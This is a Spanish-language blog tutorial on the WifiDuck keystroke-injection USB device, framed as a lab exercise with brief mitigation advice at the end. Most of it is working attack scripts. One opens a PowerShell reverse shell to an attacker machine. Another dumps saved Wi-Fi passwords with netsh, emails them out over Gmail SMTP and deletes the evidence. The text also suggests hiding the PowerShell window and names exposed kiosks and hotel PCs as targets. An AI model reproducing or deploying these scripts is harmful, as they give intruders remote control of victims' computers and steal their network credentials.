WifiDuck - other bad USB
Overview
Los bad USB son unos viejos conocidos, el más popular es el USB Rubber Ducky de hack 5, pero podemos encontrar infinidad de información de cómo crear versiones económicas del mismo.
Este dispositivo es un pendrive que, ante el PC, se presenta como un teclado, con instrucciones programadas que ejecuta en el momento en que se conecta.
Se popularizaron de nuevo cuando en un episodio de Mr. Robbot, Darlen los usa para obtener el control de un sistema de la policía. Deja decenas de pendrive en la calle, delante de la comisaria, con la idea de que algún agente encuentre uno de ellos y lo introduzca en un PC.
Ésta era hasta ahora la estrategia de uso de los bad USB, un poco de ingeniería social, dejándolo olvidado en un sitio estratégico, a la espera de que algún curioso lo conecte a su PC.
Actualmente hay nuevas variantes y es con una de ellas con la que jugaremos esta vez.
Wifi Duck
El Wifi duck es un restailing de los ya mencionados bad USB, en este caso ideados para trabajar con equipos poco vigilados, a los que se haya podido tener acceso físico en algún momento, para conectar el dispositivo que controlaremos posteriormente a distancia.

Como su predecesor, este se presenta al PC victima como un teclado y crea un punto de acceso inalámbrico mediante la cual, el atacante, podrá comunicarse con él y ejecutar todo tipo de comandos.
Este dispositivo es parcialmente compatible con los scripts de Rubber Ducky, por lo que dispondremos de muchísimos ejemplos en internet, que funcionaran perfectamente después de algunas modificaciones. Podéis consultar algunos de ellos en el siguiente [github] (https://github.com/hak5darren/USB-Rubber-Ducky/wiki/Payloads)
Una vez lo hayamos conectado a un PC, buscamos el punto de acceso wifiduck (por defecto, aunque se puede cambiar en la configuración del dispositivo para pasar más inadvertido), desde nuestro PC atacante o dispositivo móvil.

A continuación, desde nuestro explorador web accederemos a la dirección http://192.168.4.1, accediendo así al panel de control de nuestro WifiDuck.
En la pantalla inicial encontramos los distintos scripts que tengamos almacenados, el editor de scripts y cierta información de ayuda para su uso.

Pensemos en un “totem” publicitario / informativo de un centro comercial, el pc de la recepción de un hotel o en cualquier equipo que, estando expuesto físicamente, pueda tener un USB descuidado. Estos, son candidatos susceptibles a ser comprometidos con este tipo de técnicas, que como veremos con los siguientes ejemplos nos permitirán ejecutar scripts o comandos a distancia.
Hello world
Como primer ejemplo qué mejor que el clásico hello world.
En el dispositivo crearemos el siguiente script.
WINDOWS r
DELAY 200
STRING notepad.exe
RETURN
DELAY 200
STRING Hello playingwith.info
Con estas pocas líneas, al ejecutar el script, se abrirá un blog de notas en el “PC victima” y se escribirá “Hello playingwith.info” en él.

Ahora que hemos ejecutado el primer ejemplo, supongo que ya se hace patente el potencial de este pequeño dispositivo.
Podéis encontrar la sintaxis completa en su wiki para crear vuestros propios scripts, combinando variaciones de teclado y comandos, el límite es la imaginación.
Remote shell
El siguiente ejemplo, un poco más divertido, nos proporcionará un acceso remoto al “PC victima”. Este código abrirá una PowerShell que proporcionará una shell remota a nuestro PC atacante proporcionándonos así control total del sistema comprometido.
Para llevarlo a cabo iniciaremos netcat en el pc atacante.
LOCALE ES
WINDOWS r
DELAY 200
STRING powershell
ENTER
DELAY 200
STRING $client = New-Object System.Net.Sockets.TCPClient("10.0.2.15",4242)
ENTER
STRING $stream = $client.GetStream()
ENTER
STRING [byte[]]$bytes = 0..65535|%{0}
ENTER
STRING while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){
ENTER
STRING $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i)
ENTER
STRING $sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> "
ENTER
STRING $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2)
ENTER
STRING $stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()}
ENTER
Este, es un ejemplo de laboratorio, en un caso real usaríamos técnicas para que la ventana de PowerShell se ocultara y se ejecutara de forma discreta.

En el siguiente video podemos observar el ejercicio en acción.
Your browser does not support the video tag.
Wifi stoler
Para finalizar la práctica, este último script crea un fichero con las credenciales de las redes wifi que el “PC victima” tenga guardadas y nos las envía por correo electrónico.
LOCALE ES
DELAY 2000
WINDOWS d
REM --> Open cmd
WINDOWS r
DELAY 500
STRING cmd
ENTER
DELAY 1000
REM --> Change directory (you can change this to something else to make less visible)
STRING cd "%USERPROFILE%\Desktop"
ENTER
REM --> Get key
STRING netsh wlan show profiles * key=clear > Temp.txt
ENTER
DELAY 200
REM --> Mail Log.txt
STRING powershell
ENTER
DELAY 200
STRING $password = ConvertTo-SecureString "password" -AsPlainText -Force
ENTER
STRING $Cred = New-Object System.Management.Automation.PSCredential ("[email protected]", $password)
ENTER
STRING $From = "[email protected]"
ENTER
STRING $To = "[email protected]"
ENTER
STRING $Attachment = "Temp.txt"
ENTER
STRING $Subject = "Wifi keysn"
ENTER
STRING $Body = "<h2>The data is in the attach!</h2><br><br>"
ENTER
STRING $SMTPServer = "smtp.gmail.com"
ENTER
STRING $SMTPPort = "587"
ENTER
STRING Send-MailMessage -From $From -to $To -Subject $Subject -Body $Body -BodyAsHtml -SmtpServer $SMTPServer -Port $SMTPPort -UseSsl –Credential $Cred –Attachments $Attachment
ENTER
DELAY 200
STRING exit
ENTER
STRING cd "%USERPROFILE%\Desktop"
ENTER
REM --> Delete Temp.txt
STRING del Temp.txt
ENTER

Nota: todas las credenciales de este ejemplo se han creado específicamente para el ejercicio y ya no se encuentran disponibles, no perdáis el tiempo. ;)
En el siguiente video podemos observar el ejercicio en acción.
Your browser does not support the video tag.
Conclusiones
Tanto los bad USB como los Wifiduck, son dispositivos que nos permiten ejecutar programas a distancia. Unos de forma autónoma y los otros a demanda. Ambos tienen precios asequibles, lo que puede ser importante ya que en caso de un ataque real posiblemente perderemos el dispositivo.
Como se muestra en los ejercicios realizados, nos ofrecen mucho juego, pueden ser una buena entrada a equipos a los que de algún modo se haya podido conseguir acceso físico para poder conectarlo.
Es difícil protegerse de este tipo de ataques, ya que el dispositivo se comporta como un teclado, lo que hace que los sistemas de defensa no lo vean como una amenaza. En el caso de equipos fácilmente accesibles puede ser interesante limitar el acceso a los puertos USB.
Por otro lado, toda política que limite el acceso a internet, sistema de comandos y PowerShell nos ayudara a mitigar la amenaza.
Hasta aquí el post de hoy. Espero haya sido de vuestro interés.
No dudéis en contactar mediante el formulario para hacerme llegar vuestros comentarios.